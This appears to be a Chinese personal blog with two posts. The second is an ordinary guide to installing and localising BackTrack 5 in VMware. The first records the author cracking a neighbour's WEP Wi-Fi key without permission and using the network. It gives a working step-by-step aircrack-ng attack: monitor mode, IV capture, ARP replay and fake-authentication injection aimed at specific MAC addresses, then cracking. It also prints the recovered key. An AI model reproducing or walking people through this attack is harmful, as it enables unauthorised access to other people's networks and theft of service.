显示标签为“bt5”的博文。显示所有博文
显示标签为“bt5”的博文。显示所有博文

2013年8月14日星期三

BT5 破解无线密码小记

算不上教程一类的文章吧,只是记录一下过程,方便下次自己翻翻
最近刚搬家,没来得及办宽带,可是又不能不上网,没办法,只能委屈下某个开无线的邻居了
我的是台式机,没有无线网卡,不过没关系,我当时在学校宿舍时为了研究无线买过一个USB的无线网卡,所以现在正好派上用场。
打开BT5R2的虚拟机,然后把usb网卡连接到虚拟机里面,但是这里出了个问题,虚拟机一直提示driver error! 试了很多遍都不行,然后想想以前在笔记本上用这个无线网卡的时候也是这么直接连上去的啊,而且也没有再另外装过驱动。想来想去不对劲,然后看着driver error想到驱动有问题,突然发现我把usb无线网卡插在usb3.0延长线的口上,会不会是这个问题:虚拟机里面不支持主板的usb3.0口!?于是将网卡拔下插到主板前面板2.0的口上,连接成功,搞定!
首先需要将网卡设置为监听模式并开启监听状态,打开一个终端窗口,输入:
点击(此处)折叠或打开
  1. airmon-ng start wlan0
  2. airodump-ng mon0

TP_LINK那个目标不错,而且也有人在上网,这样数据量会比较大,抓包比较快,最重要的是是WEP的,这样就不用跑字典了

CH显示是6,所以输入命令:
点击(此处)折叠或打开
  1. airodump-ng --ivs -w wocao -c 6 mon0
  2.     -c 这里我们设置目标AP的工作频道
        -w 后跟要保存的文件名
将抓的包保存为wocao文件,这个文件会自动在后面加个序号,第一次是01,第二次02以此类推,后缀是ivs
为了加速攻击过程,我们发送虚假构造的包,输入:
点击(此处)折叠或打开
  1. aireplay-ng -3 -b 00:19:E0:C8:45:8C -h 00:1C:BF:1A:1B:66 mon0
  2. 注:aireplay-ng -3 -b AP的mac -h 客户端的mac mon0 
 得到大量的反馈报文

这时候输入命令进行破解:
点击(此处)折叠或打开
  1. aircrack-ng wocao-01.ivs
  2. 注:后面是跟着之前设定的保存报文的文件名,注意01编号和ivs后缀
开始破解,说ivs不够,等5000,然后15000,然后20000,在19000多时破解成功

然后连接TP_LINK,输入密码为0054148087,注意不要中间的冒号,连接成功,开始上网咯。

我其实在昨天晚上就发现了这个无线点,当时晚上12点多了,那时候没有人连接上网,我发送的伪造连接的数据包获取ivs值太慢,挂了20分钟才2000多点,然后想算了,等明天晚上八九点应该会有人上网,到时候再弄,果然今天等了一会就发现有人上网了。

破解时需要有人连接上网,下面给出没有人连接时的两条命令,自己构造连接和伪造包攻击路由器
点击(此处)折叠或打开
  1. aireplay-ng -1 0 -a AP's MAC -h MyMAC mon0
  2. aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h MyMAC mon0
  3. 再运行
  4. aireplay-ng -3 -b AP的mac -h 客户端的mac mon0
  5. aircrack-ng 捕获的ivs文件

2013年8月13日星期二

虚拟机下安装BackTrack5 (BT5)教程及BT5汉化

PS:back track 安装过程中有2点要注意:第一:复制到99%的时候会等大约10来分钟;别以为是死机了!第二:登录账户和密码:root/toor(个人感觉还是Ubuntu的root自行激活好一点的样子。)。这个版本的代号叫做“revolution”:
 
与bt4相比,BT5不论从内核上还是应用程序上都进行了升级。bt5同时可以选择下载gnome或者kde桌面系统,而传统bt4默认的是kde。bt5基于Ubuntu Lucid LTS.Kernel 2.6.38,在安装上也方便了很多,尤其对于中国用户,可以选择中文安装过程。
bt5一改之前的黑色调,转为暗红,还是那潇洒的飞龙,在红色底纹上更显杀气。
记录一下vmware虚拟机中安装bt5:
1.首先下载bt5的32位iso文件,选用了gnome桌面系统。(64位的毕竟还是在一些软件支持性上有待改善,所以还是选择32位的保险)
2.新建一个虚拟机,选择typical设置,安装源选择刚刚下载的iso文件
 
 
 
 
 
这里指定的磁盘大小并不是虚拟机实际占用磁盘大小,而是它最大使用量,实际值会根据在虚拟机中安装的软件的多少进行动态的变化,所以指定大点没有关系,只要你实际在虚拟机里面不要太狠装太多东西,呵呵。
 
虚拟机使用的内存尽量大一些,这样可以有效提高虚拟机运行的速率。现在电脑内存都够大,指定1G不会影响主机的速度。
3.启动新建的虚拟机
 
在这个界面直接回车,进入下一个界面。
 
可以看到bt5的界面还是有些变化的,选择第一个选项进入。
 
用户名还是root,初始密码是toor,登录后输入startx启动桌面系统。bt5的登录提示有明显改善,用颜色标记了需要输入的命令。

 
进入桌面系统后,双击桌面上的 install BackTrack,启动硬盘安装程序:
 
 
 
 
这里就选用使用整个磁盘,让系统自动进行文件系统分配。
 
 
4.重新启动系统,注意在启动过程中会提示移除磁盘文件。
5.默认bt5是没有启动网络的,所以启动后需要手动启动网络。
启动网络方法比较多:(第一种)命令行下输入:start networking;(第二种)先用命令:ifconfig eth0 up,然后使用命令:dhclient eth0。
在这里需要注意虚拟的网络配置。个人建议直接用Bridge方式,因为就相当于直接用物理网卡。
启动了网络之后,最好执行一下:apt-get update来更新一下bt5的系统模块。当然最新发布的东西,更新不会太多,哈哈
6.安装Vmware Tools:
安装vmware tools的目的是为了让系统更好的在vmware上运作,可以让桌面系统自动适应虚拟机窗口大小,而且可以直接把自动启动网络加入到系统中,下次启动bt5时就不用再手动启动网络了。
在vmware的菜单栏选择VM-->install vmware tools。这时桌面就会弹出一个VMware tools光盘图标,并自动打开这个目录。将这个目录下的文件拷贝到/home下(目标目录自己定)。
注意:有时在新建虚拟机的时候,在系统选择时如果选择了other,可能会出现vmware菜单栏下安装vmare tools的选项不可用,变成vmare tools unavailable。这时只要把系统改成ubuntu就可以了。
 
 
使用tar -zxf VM*命令将刚刚拷贝的文件解压,进入解压目录后,运行:./vmware-install.pl,然后一路确认回车就ok啦。
安装完成后,重新启动系统,就会发现桌面也能自适应,网络也自动启动了。大功基本告成。
7.安装中文支持
虽然刚刚安装的时候选择中文安装,但bt5并不会自动安装中文支持,所以在bt5上网浏览中文网页的时候发现一堆小框框。
在命令行下输入:
apt-get install language-pack-zh language-support-zh
安装好中文支持,再浏览中文网页就发现正常了。
安装了以上中文支持会默认安装了ibus中文输入法,不过在调用中文输入前先要启动ibus deamon,然后在ibus中添加中文输入,这样就可以用ctrl+backspace来调用中文输入了。
 
 
如果要把ibus在启动桌面系统的时候加入自动启动,可以在system-->preferences-->startup application下添加:
 
8.为了方便管理,还可以安装ubuntu-tweak :
> apt-get install python-software-properties
> add-apt-repository ppa:tualatrix/ppa
> apt-get update
> apt-get install ubuntu-tweak
 
开始bt5之旅喽~~总之,bt5比bt4在安装上简易了一些,相对需要手动处理的地方少了一些,而它本身基于ubuntu,所以ubuntu上的软件库都是可以使用的,这大大丰富了bt5的应用。
好东西啊~呵呵
=========================
BT5汉化
打开shell执行:
apt-get install language-support-zh language-pack-zh
安装完中文包后到Settings->System Settings->Locale->add languages添加一下简体中文,重启下就汉化OK了。
如果在系统设置里没有看到切换语言的选项,那么:
apt-get install language-selector
打开System-Administration-Language Support
Install/Remove Language中选择 Chinese(simplified),勾选上。点击”OK!”
就可以完成汉化了
 ============
最新的BackTrack5已准时在2011年5月11日发布了,相信各路高手都已人手一份或多份了,目前网上已放出

KDE版本下的汉化方法,Gnome下似乎没有动静,ps:难道没人用Gnome的版本?小弟不才,自己动手摸索一番,

总结如下:

新版的backtrack5由于基于ubuntu10.04所以汉化也很简单。

有些人会问怎么找不到language selector选项,运行apt-get install language-selector后就可以找到了。

打开System-Administration-Language Support

Install/Remove Language中选择 Chinese(simplified),勾选上。点击"OK!"

它连接到BackTrack.org的源感觉很慢,平均20kb/s,下载21个文件,当然ibus输入法也下载喽!
文本 选择 汉语中国
需要重启

把最小化 最大化 放到右上角

原来在Ubuntu10.04下,使用Alt+F2,运行gconf-editor的方法失效了,提示Could not open location

'file://root/gconf-editor'
Error stating file '/root/gconf-editor':No such file or directory
使用.gconf/apps/gconf-editor,然后Gedit打开%gconf.xml
或者
ls -al
cd .gconf
cd apps/metacity/general
gedit %gconf.xml

将其中的maximize,minimize,close:  改为:minimize,maximize,close
最终效果
==========